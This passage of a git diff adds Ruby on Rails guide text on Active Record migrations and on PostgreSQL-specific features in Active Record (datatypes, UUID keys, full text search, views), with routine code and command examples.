add_reference :products, :supplier, polymorphic: true + end +end +``` + +TIP: Have a look at the generators help output for further details. + +Writing a Migration +------------------- + +Once you have created your migration using one of the generators it's time to +get to work! + +### Creating a Table + +The `create_table` method is one of the most fundamental, but most of the time, +will be generated for you from using a model or scaffold generator. A typical +use would be + +```ruby +create_table :products do |t| + t.string :name +end +``` + +which creates a `products` table with a column called `name` (and as discussed +below, an implicit `id` column). + +By default, `create_table` will create a primary key called `id`. You can change +the name of the primary key with the `:primary_key` option (don't forget to +update the corresponding model) or, if you don't want a primary key at all, you +can pass the option `id: false`. If you need to pass database specific options +you can place an SQL fragment in the `:options` option. For example: + +```ruby +create_table :products, options: "ENGINE=BLACKHOLE" do |t| + t.string :name, null: false +end +``` + +will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table. + +Also you can pass the `:comment` option with any description for the table +that will be stored in database itself and can be viewed with database administration +tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify +comments in migrations for applications with large databases as it helps people +to understand data model and generate documentation. +Currently only the MySQL and PostgreSQL adapters support comments. + +### Creating a Join Table + +The migration method `create_join_table` creates an HABTM (has and belongs to +many) join table. A typical use would be: + +```ruby +create_join_table :products, :categories +``` + +which creates a `categories_products` table with two columns called +`category_id` and `product_id`. These columns have the option `:null` set to +`false` by default. This can be overridden by specifying the `:column_options` +option: + +```ruby +create_join_table :products, :categories, column_options: { null: true } +``` + +By default, the name of the join table comes from the union of the first two +arguments provided to create_join_table, in alphabetical order. +To customize the name of the table, provide a `:table_name` option: + +```ruby +create_join_table :products, :categories, table_name: :categorization +``` + +creates a `categorization` table. + +`create_join_table` also accepts a block, which you can use to add indices +(which are not created by default) or additional columns: + +```ruby +create_join_table :products, :categories do |t| + t.index :product_id + t.index :category_id +end +``` + +### Changing Tables + +A close cousin of `create_table` is `change_table`, used for changing existing +tables. It is used in a similar fashion to `create_table` but the object +yielded to the block knows more tricks. For example: + +```ruby +change_table :products do |t| + t.remove :description, :name + t.string :part_number + t.index :part_number + t.rename :upccode, :upc_code +end +``` + +removes the `description` and `name` columns, creates a `part_number` string +column and adds an index on it. Finally it renames the `upccode` column. + +### Changing Columns + +Like the `remove_column` and `add_column` Rails provides the `change_column` +migration method. + +```ruby +change_column :products, :part_number, :text +``` + +This changes the column `part_number` on products table to be a `:text` field. +Note that `change_column` command is irreversible. + +Besides `change_column`, the `change_column_null` and `change_column_default` +methods are used specifically to change a not null constraint and default +values of a column. + +```ruby +change_column_null :products, :name, false +change_column_default :products, :approved, from: true, to: false +``` + +This sets `:name` field on products to a `NOT NULL` column and the default +value of the `:approved` field from true to false. + +NOTE: You could also write the above `change_column_default` migration as +`change_column_default :products, :approved, false`, but unlike the previous +example, this would make your migration irreversible. + +### Column Modifiers + +Column modifiers can be applied when creating or changing a column: + +* `limit` Sets the maximum size of the `string/text/binary/integer` fields. +* `precision` Defines the precision for the `decimal` fields, representing the +total number of digits in the number. +* `scale` Defines the scale for the `decimal` fields, representing the +number of digits after the decimal point. +* `polymorphic` Adds a `type` column for `belongs_to` associations. +* `null` Allows or disallows `NULL` values in the column. +* `default` Allows to set a default value on the column. Note that if you +are using a dynamic value (such as a date), the default will only be calculated +the first time (i.e. on the date the migration is applied). +* `index` Adds an index for the column. +* `comment` Adds a comment for the column. + +Some adapters may support additional options; see the adapter specific API docs +for further information. + +NOTE: `null` and `default` cannot be specified via command line. + +### Foreign Keys + +While it's not required you might want to add foreign key constraints to +[guarantee referential integrity](#active-record-and-referential-integrity). + +```ruby +add_foreign_key :articles, :authors +``` + +This adds a new foreign key to the `author_id` column of the `articles` +table. The key references the `id` column of the `authors` table. If the +column names can not be derived from the table names, you can use the +`:column` and `:primary_key` options. + +Rails will generate a name for every foreign key starting with +`fk_rails_` followed by 10 characters which are deterministically +generated from the `from_table` and `column`. +There is a `:name` option to specify a different name if needed. + +NOTE: Active Record only supports single column foreign keys. `execute` and +`structure.sql` are required to use composite foreign keys. See +[Schema Dumping and You](#schema-dumping-and-you). + +NOTE: The SQLite3 adapter doesn't support `add_foreign_key` since SQLite supports +only [a limited subset of ALTER TABLE](https://www.sqlite.org/lang_altertable.html). + +Removing a foreign key is easy as well: + +```ruby +# let Active Record figure out the column name +remove_foreign_key :accounts, :branches + +# remove foreign key for a specific column +remove_foreign_key :accounts, column: :owner_id + +# remove foreign key by name +remove_foreign_key :accounts, name: :special_fk_name +``` + +### When Helpers aren't Enough + +If the helpers provided by Active Record aren't enough you can use the `execute` +method to execute arbitrary SQL: + +```ruby +Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") +``` + +For more details and examples of individual methods, check the API documentation. +In particular the documentation for +[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) +(which provides the methods available in the `change`, `up` and `down` methods), +[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) +(which provides the methods available on the object yielded by `create_table`) +and +[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) +(which provides the methods available on the object yielded by `change_table`). + +### Using the `change` Method + +The `change` method is the primary way of writing migrations. It works for the +majority of cases, where Active Record knows how to reverse the migration +automatically. Currently, the `change` method supports only these migration +definitions: + +* add_column +* add_foreign_key +* add_index +* add_reference +* add_timestamps +* change_column_default (must supply a :from and :to option) +* change_column_null +* create_join_table +* create_table +* disable_extension +* drop_join_table +* drop_table (must supply a block) +* enable_extension +* remove_column (must supply a type) +* remove_foreign_key (must supply a second table) +* remove_index +* remove_reference +* remove_timestamps +* rename_column +* rename_index +* rename_table + +`change_table` is also reversible, as long as the block does not call `change`, +`change_default` or `remove`. + +`remove_column` is reversible if you supply the column type as the third +argument. Provide the original column options too, otherwise Rails can't +recreate the column exactly when rolling back: + +```ruby +remove_column :posts, :slug, :string, null: false, default: '' +``` + +If you're going to need to use any other methods, you should use `reversible` +or write the `up` and `down` methods instead of using the `change` method. + +### Using `reversible` + +Complex migrations may require processing that Active Record doesn't know how +to reverse. You can use `reversible` to specify what to do when running a +migration and what else to do when reverting it. For example: + +```ruby +class ExampleMigration < ActiveRecord::Migration[5.0] + def change + create_table :distributors do |t| + t.string :zipcode + end + + reversible do |dir| + dir.up do + # add a CHECK constraint + execute <<-SQL + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5) NO INHERIT; + SQL + end + dir.down do + execute <<-SQL + ALTER TABLE distributors + DROP CONSTRAINT zipchk + SQL + end + end + + add_column :users, :home_page_url, :string + rename_column :users, :email, :email_address + end +end +``` + +Using `reversible` will ensure that the instructions are executed in the +right order too. If the previous example migration is reverted, +the `down` block will be run after the `home_page_url` column is removed and +right before the table `distributors` is dropped. + +Sometimes your migration will do something which is just plain irreversible; for +example, it might destroy some data. In such cases, you can raise +`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries +to revert your migration, an error message will be displayed saying that it +can't be done. + +### Using the `up`/`down` Methods + +You can also use the old style of migration using `up` and `down` methods +instead of the `change` method. +The `up` method should describe the transformation you'd like to make to your +schema, and the `down` method of your migration should revert the +transformations done by the `up` method. In other words, the database schema +should be unchanged if you do an `up` followed by a `down`. For example, if you +create a table in the `up` method, you should drop it in the `down` method. It +is wise to perform the transformations in precisely the reverse order they were +made in the `up` method. The example in the `reversible` section is equivalent to: + +```ruby +class ExampleMigration < ActiveRecord::Migration[5.0] + def up + create_table :distributors do |t| + t.string :zipcode + end + + # add a CHECK constraint + execute <<-SQL + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5); + SQL + + add_column :users, :home_page_url, :string + rename_column :users, :email, :email_address + end + + def down + rename_column :users, :email_address, :email + remove_column :users, :home_page_url + + execute <<-SQL + ALTER TABLE distributors + DROP CONSTRAINT zipchk + SQL + + drop_table :distributors + end +end +``` + +If your migration is irreversible, you should raise +`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries +to revert your migration, an error message will be displayed saying that it +can't be done. + +### Reverting Previous Migrations + +You can use Active Record's ability to rollback migrations using the `revert` method: + +```ruby +require_relative '20121212123456_example_migration' + +class FixupExampleMigration < ActiveRecord::Migration[5.0] + def change + revert ExampleMigration + + create_table(:apples) do |t| + t.string :variety + end + end +end +``` + +The `revert` method also accepts a block of instructions to reverse. +This could be useful to revert selected parts of previous migrations. +For example, let's imagine that `ExampleMigration` is committed and it +is later decided it would be best to use Active Record validations, +in place of the `CHECK` constraint, to verify the zipcode. + +```ruby +class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0] + def change + revert do + # copy-pasted code from ExampleMigration + reversible do |dir| + dir.up do + # add a CHECK constraint + execute <<-SQL + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5); + SQL + end + dir.down do + execute <<-SQL + ALTER TABLE distributors + DROP CONSTRAINT zipchk + SQL + end + end + + # The rest of the migration was ok + end + end +end +``` + +The same migration could also have been written without using `revert` +but this would have involved a few more steps: reversing the order +of `create_table` and `reversible`, replacing `create_table` +by `drop_table`, and finally replacing `up` by `down` and vice-versa. +This is all taken care of by `revert`. + +NOTE: If you want to add check constraints like in the examples above, +you will have to use `structure.sql` as dump method. See +[Schema Dumping and You](#schema-dumping-and-you). + +Running Migrations +------------------ + +Rails provides a set of rails commands to run certain sets of migrations. + +The very first migration related rails command you will use will probably be +`rails db:migrate`. In its most basic form it just runs the `change` or `up` +method for all the migrations that have not yet been run. If there are +no such migrations, it exits. It will run these migrations in order based +on the date of the migration. + +Note that running the `db:migrate` command also invokes the `db:schema:dump` command, which +will update your `db/schema.rb` file to match the structure of your database. + +If you specify a target version, Active Record will run the required migrations +(change, up, down) until it has reached the specified version. The version +is the numerical prefix on the migration's filename. For example, to migrate +to version 20080906120000 run: + +```bash +$ rails db:migrate VERSION=20080906120000 +``` + +If version 20080906120000 is greater than the current version (i.e., it is +migrating upwards), this will run the `change` (or `up`) method +on all migrations up to and +including 20080906120000, and will not execute any later migrations. If +migrating downwards, this will run the `down` method on all the migrations +down to, but not including, 20080906120000. + +### Rolling Back + +A common task is to rollback the last migration. For example, if you made a +mistake in it and wish to correct it. Rather than tracking down the version +number associated with the previous migration you can run: + +```bash +$ rails db:rollback +``` + +This will rollback the latest migration, either by reverting the `change` +method or by running the `down` method. If you need to undo +several migrations you can provide a `STEP` parameter: + +```bash +$ rails db:rollback STEP=3 +``` + +will revert the last 3 migrations. + +The `db:migrate:redo` command is a shortcut for doing a rollback and then migrating +back up again. As with the `db:rollback` command, you can use the `STEP` parameter +if you need to go more than one version back, for example: + +```bash +$ rails db:migrate:redo STEP=3 +``` + +Neither of these rails commands do anything you could not do with `db:migrate`. They +are simply more convenient, since you do not need to explicitly specify the +version to migrate to. + +### Setup the Database + +The `rails db:setup` command will create the database, load the schema, and initialize +it with the seed data. + +### Resetting the Database + +The `rails db:reset` command will drop the database and set it up again. This is +functionally equivalent to `rails db:drop db:setup`. + +NOTE: This is not the same as running all the migrations. It will only use the +contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back, +`rails db:reset` may not help you. To find out more about dumping the schema see +[Schema Dumping and You](#schema-dumping-and-you) section. + +### Running Specific Migrations + +If you need to run a specific migration up or down, the `db:migrate:up` and +`db:migrate:down` commands will do that. Just specify the appropriate version and +the corresponding migration will have its `change`, `up` or `down` method +invoked, for example: + +```bash +$ rails db:migrate:up VERSION=20080906120000 +``` + +will run the 20080906120000 migration by running the `change` method (or the +`up` method). This command will +first check whether the migration is already performed and will do nothing if +Active Record believes that it has already been run. + +### Running Migrations in Different Environments + +By default running `rails db:migrate` will run in the `development` environment. +To run migrations against another environment you can specify it using the +`RAILS_ENV` environment variable while running the command. For example to run +migrations against the `test` environment you could run: + +```bash +$ rails db:migrate RAILS_ENV=test +``` + +### Changing the Output of Running Migrations + +By default migrations tell you exactly what they're doing and how long it took. +A migration creating a table and adding an index might produce output like this + +```bash +== CreateProducts: migrating ================================================= +-- create_table(:products) + -> 0.0028s +== CreateProducts: migrated (0.0028s) ======================================== +``` + +Several methods are provided in migrations that allow you to control all this: + +| Method | Purpose +| -------------------- | ------- +| suppress_messages | Takes a block as an argument and suppresses any output generated by the block. +| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. +| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. + +For example, this migration: + +```ruby +class CreateProducts < ActiveRecord::Migration[5.0] + def change + suppress_messages do + create_table :products do |t| + t.string :name + t.text :description + t.timestamps + end + end + + say "Created a table" + + suppress_messages {add_index :products, :name} + say "and an index!", true + + say_with_time 'Waiting for a while' do + sleep 10 + 250 + end + end +end +``` + +generates the following output + +```bash +== CreateProducts: migrating ================================================= +-- Created a table + -> and an index! +-- Waiting for a while + -> 10.0013s + -> 250 rows +== CreateProducts: migrated (10.0054s) ======================================= +``` + +If you want Active Record to not output anything, then running `rails db:migrate +VERBOSE=false` will suppress all output. + +Changing Existing Migrations +---------------------------- + +Occasionally you will make a mistake when writing a migration. If you have +already run the migration, then you cannot just edit the migration and run the +migration again: Rails thinks it has already run the migration and so will do +nothing when you run `rails db:migrate`. You must rollback the migration (for +example with `rails db:rollback`), edit your migration, and then run +`rails db:migrate` to run the corrected version. + +In general, editing existing migrations is not a good idea. You will be +creating extra work for yourself and your co-workers and cause major headaches +if the existing version of the migration has already been run on production +machines. Instead, you should write a new migration that performs the changes +you require. Editing a freshly generated migration that has not yet been +committed to source control (or, more generally, which has not been propagated +beyond your development machine) is relatively harmless. + +The `revert` method can be helpful when writing a new migration to undo +previous migrations in whole or in part +(see [Reverting Previous Migrations](#reverting-previous-migrations) above). + +Schema Dumping and You +---------------------- + +### What are Schema Files for? + +Migrations, mighty as they may be, are not the authoritative source for your +database schema. Your database remains the authoritative source. By default, +Rails generates `db/schema.rb` which attempts to capture the current state of +your database schema. + +It tends to be faster and less error prone to create a new instance of your +application's database by loading the schema file via `rails db:schema:load` +than it is to replay the entire migration history. +[Old migrations](#old-migrations) may fail to apply correctly if those +migrations use changing external dependencies or rely on application code which +evolves separately from your migrations. + +Schema files are also useful if you want a quick look at what attributes an +Active Record object has. This information is not in the model's code and is +frequently spread across several migrations, but the information is nicely +summed up in the schema file. + +### Types of Schema Dumps + +The format of the schema dump generated by Rails is controlled by the +`config.active_record.schema_format` setting in `config/application.rb`. By +default, the format is `:ruby`, but can also be set to `:sql`. + +If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look +at this file you'll find that it looks an awful lot like one very big migration: + +```ruby +ActiveRecord::Schema.define(version: 20080906171750) do + create_table "authors", force: true do |t| + t.string "name" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "products", force: true do |t| + t.string "name" + t.text "description" + t.datetime "created_at" + t.datetime "updated_at" + t.string "part_number" + end +end +``` + +In many ways this is exactly what it is. This file is created by inspecting the +database and expressing its structure using `create_table`, `add_index`, and so +on. + +`db/schema.rb` cannot express everything your database may support such as +triggers, sequences, stored procedures, check constraints, etc. While migrations +may use `execute` to create database constructs that are not supported by the +Ruby migration DSL, these constructs may not be able to be reconstituted by the +schema dumper. If you are using features like these, you should set the schema +format to `:sql` in order to get an accurate schema file that is useful to +create new database instances. + +When the schema format is set to `:sql`, the database structure will be dumped +using a tool specific to the database into `db/structure.sql`. For example, for +PostgreSQL, the `pg_dump` utility is used. For MySQL and MariaDB, this file will +contain the output of `SHOW CREATE TABLE` for the various tables. + +To load the schema from `db/structure.sql`, run `rails db:structure:load`. +Loading this file is done by executing the SQL statements it contains. By +definition, this will create a perfect copy of the database's structure. + +### Schema Dumps and Source Control + +Because schema files are commonly used to create new databases, it is strongly +recommended that you check your schema file into source control. + +Merge conflicts can occur in your schema file when two branches modify schema. +To resolve these conflicts run `rails db:migrate` to regenerate the schema file. + +Active Record and Referential Integrity +--------------------------------------- + +The Active Record way claims that intelligence belongs in your models, not in +the database. As such, features such as triggers or constraints, +which push some of that intelligence back into the database, are not heavily +used. + +Validations such as `validates :foreign_key, uniqueness: true` are one way in +which models can enforce data integrity. The `:dependent` option on +associations allows models to automatically destroy child objects when the +parent is destroyed. Like anything which operates at the application level, +these cannot guarantee referential integrity and so some people augment them +with [foreign key constraints](#foreign-keys) in the database. + +Although Active Record does not provide all the tools for working directly with +such features, the `execute` method can be used to execute arbitrary SQL. + +Migrations and Seed Data +------------------------ + +The main purpose of Rails' migration feature is to issue commands that modify the +schema using a consistent process. Migrations can also be used +to add or modify data. This is useful in an existing database that can't be destroyed +and recreated, such as a production database. + +```ruby +class AddInitialProducts < ActiveRecord::Migration[5.0] + def up + 5.times do |i| + Product.create(name: "Product ##{i}", description: "A product.") + end + end + + def down + Product.delete_all + end +end +``` + +To add initial data after a database is created, Rails has a built-in +'seeds' feature that makes the process quick and easy. This is especially +useful when reloading the database frequently in development and test environments. +It's easy to get started with this feature: just fill up `db/seeds.rb` with some +Ruby code, and run `rails db:seed`: + +```ruby +5.times do |i| + Product.create(name: "Product ##{i}", description: "A product.") +end +``` + +This is generally a much cleaner way to set up the database of a blank +application. + +Old Migrations +-------------- + +The `db/schema.rb` or `db/structure.sql` is a snapshot of the current state of your +database and is the authoritative source for rebuilding that database. This +makes it possible to delete old migration files. + +When you delete migration files in the `db/migrate/` directory, any environment +where `rails db:migrate` was run when those files still existed will hold a reference +to the migration timestamp specific to them inside an internal Rails database +table named `schema_migrations`. This table is used to keep track of whether +migrations have been executed in a specific environment. + +If you run the `rails db:migrate:status` command, which displays the status +(up or down) of each migration, you should see `********** NO FILE **********` +displayed next to any deleted migration file which was once executed on a +specific environment but can no longer be found in the `db/migrate/` directory. diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md new file mode 100644 index 0000000000..536a7138e9 --- /dev/null +++ b/guides/source/active_record_postgresql.md @@ -0,0 +1,517 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record and PostgreSQL +============================ + +This guide covers PostgreSQL specific usage of Active Record. + +After reading this guide, you will know: + +* How to use PostgreSQL's datatypes. +* How to use UUID primary keys. +* How to implement full text search with PostgreSQL. +* How to back your Active Record models with database views. + +-------------------------------------------------------------------------------- + +In order to use the PostgreSQL adapter you need to have at least version 9.3 +installed. Older versions are not supported. + +To get started with PostgreSQL have a look at the +[configuring Rails guide](configuring.html#configuring-a-postgresql-database). +It describes how to properly setup Active Record for PostgreSQL. + +Datatypes +--------- + +PostgreSQL offers a number of specific datatypes. Following is a list of types, +that are supported by the PostgreSQL adapter. + +### Bytea + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html) + +```ruby +# db/migrate/20140207133952_create_documents.rb +create_table :documents do |t| + t.binary 'payload' +end + +# app/models/document.rb +class Document < ApplicationRecord +end + +# Usage +data = File.read(Rails.root + "tmp/output.pdf") +Document.create payload: data +``` + +### Array + +* [type definition](https://www.postgresql.org/docs/current/static/arrays.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html) + +```ruby +# db/migrate/20140207133952_create_books.rb +create_table :books do |t| + t.string 'title' + t.string 'tags', array: true + t.integer 'ratings', array: true +end +add_index :books, :tags, using: 'gin' +add_index :books, :ratings, using: 'gin' + +# app/models/book.rb +class Book < ApplicationRecord +end + +# Usage +Book.create title: "Brave New World", + tags: ["fantasy", "fiction"], + ratings: [4, 5] + +## Books for a single tag +Book.where("'fantasy' = ANY (tags)") + +## Books for multiple tags +Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"]) + +## Books with 3 or more ratings +Book.where("array_length(ratings, 1) >= 3") +``` + +### Hstore + +* [type definition](https://www.postgresql.org/docs/current/static/hstore.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5) + +NOTE: You need to enable the `hstore` extension to use hstore. + +```ruby +# db/migrate/20131009135255_create_profiles.rb +ActiveRecord::Schema.define do + enable_extension 'hstore' unless extension_enabled?('hstore') + create_table :profiles do |t| + t.hstore 'settings' + end +end + +# app/models/profile.rb +class Profile < ApplicationRecord +end + +# Usage +Profile.create(settings: { "color" => "blue", "resolution" => "800x600" }) + +profile = Profile.first +profile.settings # => {"color"=>"blue", "resolution"=>"800x600"} + +profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} +profile.save! + +Profile.where("settings->'color' = ?", "yellow") +# => #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]> +``` + +### JSON and JSONB + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html) + +```ruby +# db/migrate/20131220144913_create_events.rb +# ... for json datatype: +create_table :events do |t| + t.json 'payload' +end +# ... or for jsonb datatype: +create_table :events do |t| + t.jsonb 'payload' +end + +# app/models/event.rb +class Event < ApplicationRecord +end + +# Usage +Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]}) + +event = Event.first +event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]} + +## Query based on JSON document +# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text +Event.where("payload->>'kind' = ?", "user_renamed") +``` + +### Range Types + +* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html) + +This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects. + +```ruby +# db/migrate/20130923065404_create_events.rb +create_table :events do |t| + t.daterange 'duration' +end + +# app/models/event.rb +class Event < ApplicationRecord +end + +# Usage +Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12)) + +event = Event.first +event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014 + +## All Events on a given date +Event.where("duration @> ?::date", Date.new(2014, 2, 12)) + +## Working with range bounds +event = Event. + select("lower(duration) AS starts_at"). + select("upper(duration) AS ends_at").first + +event.starts_at # => Tue, 11 Feb 2014 +event.ends_at # => Thu, 13 Feb 2014 +``` + +### Composite Types + +* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html) + +Currently there is no special support for composite types. They are mapped to +normal text columns: + +```sql +CREATE TYPE full_address AS +( + city VARCHAR(90), + street VARCHAR(90) +); +``` + +```ruby +# db/migrate/20140207133952_create_contacts.rb +execute <<-SQL + CREATE TYPE full_address AS + ( + city VARCHAR(90), + street VARCHAR(90) + ); +SQL +create_table :contacts do |t| + t.column :address, :full_address +end + +# app/models/contact.rb +class Contact < ApplicationRecord +end + +# Usage +Contact.create address: "(Paris,Champs-Élysées)" +contact = Contact.first +contact.address # => "(Paris,Champs-Élysées)" +contact.address = "(Paris,Rue Basse)" +contact.save! +``` + +### Enumerated Types + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html) + +Currently there is no special support for enumerated types. They are mapped as +normal text columns: + +```ruby +# db/migrate/20131220144913_create_articles.rb +def up + execute <<-SQL + CREATE TYPE article_status AS ENUM ('draft', 'published'); + SQL + create_table :articles do |t| + t.column :status, :article_status + end +end + +# NOTE: It's important to drop table before dropping enum. +def down + drop_table :articles + + execute <<-SQL + DROP TYPE article_status; + SQL +end + +# app/models/article.rb +class Article < ApplicationRecord +end + +# Usage +Article.create status: "draft" +article = Article.first +article.status # => "draft" + +article.status = "published" +article.save! +``` + +To add a new value before/after existing one you should use [ALTER TYPE](https://www.postgresql.org/docs/current/static/sql-altertype.html): + +```ruby +# db/migrate/20150720144913_add_new_state_to_articles.rb +# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction! +disable_ddl_transaction! + +def up + execute <<-SQL + ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published'; + SQL +end +``` + +NOTE: ENUM values can't be dropped currently. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com). + +Hint: to show all the values of the all enums you have, you should call this query in `rails db` or `psql` console: + +```sql +SELECT n.nspname AS enum_schema, + t.typname AS enum_name, + e.enumlabel AS enum_value + FROM pg_type t + JOIN pg_enum e ON t.oid = e.enumtypid + JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace +``` + +### UUID + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html) +* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html#id-1.11.7.35.7) +* [uuid-ossp generator functions](https://www.postgresql.org/docs/current/static/uuid-ossp.html) + +NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` +extension to use uuid. + +```ruby +# db/migrate/20131220144913_create_revisions.rb +create_table :revisions do |t| + t.uuid :identifier +end + +# app/models/revision.rb +class Revision < ApplicationRecord +end + +# Usage +Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11" + +revision = Revision.first +revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" +``` + +You can use `uuid` type to define references in migrations: + +```ruby +# db/migrate/20150418012400_create_blog.rb +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :posts, id: :uuid, default: 'gen_random_uuid()' + +create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t| + # t.belongs_to :post, type: :uuid + t.references :post, type: :uuid +end + +# app/models/post.rb +class Post < ApplicationRecord + has_many :comments +end + +# app/models/comment.rb +class Comment < ApplicationRecord + belongs_to :post +end +``` + +See [this section](#uuid-primary-keys) for more details on using UUIDs as primary key. + +### Bit String Types + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html) +* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html) + +```ruby +# db/migrate/20131220144913_create_users.rb +create_table :users, force: true do |t| + t.column :settings, "bit(8)" +end + +# app/models/user.rb +class User < ApplicationRecord +end + +# Usage +User.create settings: "01010011" +user = User.first +user.settings # => "01010011" +user.settings = "0xAF" +user.settings # => 10101111 +user.save! +``` + +### Network Address Types + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html) + +The types `inet` and `cidr` are mapped to Ruby +[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html) +objects. The `macaddr` type is mapped to normal text. + +```ruby +# db/migrate/20140508144913_create_devices.rb +create_table(:devices, force: true) do |t| + t.inet 'ip' + t.cidr 'network' + t.macaddr 'address' +end + +# app/models/device.rb +class Device < ApplicationRecord +end + +# Usage +macbook = Device.create(ip: "192.168.1.12", + network: "192.168.2.0/24", + address: "32:01:16:6d:05:ef") + +macbook.ip +# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255> + +macbook.network +# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0> + +macbook.address +# => "32:01:16:6d:05:ef" +``` + +### Geometric Types + +* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html) + +All geometric types, with the exception of `points` are mapped to normal text. +A point is casted to an array containing `x` and `y` coordinates. + + +UUID Primary Keys +----------------- + +NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` +extension to generate random UUIDs. + +```ruby +# db/migrate/20131220144913_create_devices.rb +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t| + t.string :kind +end + +# app/models/device.rb +class Device < ApplicationRecord +end + +# Usage +device = Device.create +device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e" +``` + +NOTE: `gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option was +passed to `create_table`. + +Full Text Search +---------------- + +```ruby +# db/migrate/20131220144913_create_documents.rb +create_table :documents do |t| + t.string 'title' + t.string 'body' +end + +add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx' + +# app/models/document.rb +class Document < ApplicationRecord +end + +# Usage +Document.create(title: "Cats and Dogs", body: "are nice!") + +## all documents matching 'cat & dog' +Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", + "cat & dog") +``` + +Database Views +-------------- + +* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html) + +Imagine you need to work with a legacy database containing the following table: + +``` +rails_pg_guide=# \d "TBL_ART" + Table "public.TBL_ART" + Column | Type | Modifiers +------------+-----------------------------+------------------------------------------------------------ + INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass) + STR_TITLE | character varying | + STR_STAT | character varying | default 'draft'::character varying + DT_PUBL_AT | timestamp without time zone | + BL_ARCH | boolean | default false +Indexes: + "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID") +``` + +This table does not follow the Rails conventions at all. +Because simple PostgreSQL views are updateable by default, +we can wrap it as follows: + +```ruby +# db/migrate/20131220144913_create_articles_view.rb +execute <<-SQL +CREATE VIEW articles AS + SELECT "INT_ID" AS id, + "STR_TITLE" AS title, + "STR_STAT" AS status, + "DT_PUBL_AT" AS published_at, + "BL_ARCH" AS archived + FROM "TBL_ART" + WHERE "BL_ARCH" = 'f' + SQL + +# app/models/article.rb +class Article < ApplicationRecord + self.primary_key = "id" + def archive! + update_attribute :archived, true + end +end + +# Usage +first = Article.create! title: "Winter is coming", + status: "published", + published_at: 1.year.ago +second = Article.create! title: "Brace yourself", + status: "draft", + published_at: 1.month.ago + +Article.count # => 2 +first.archive! +Article.count # => 1 +``` + +NOTE: This application only cares about non-archived `Articles`. A view also +allows for conditions so we can exclude the archived `Articles` directly. diff --git 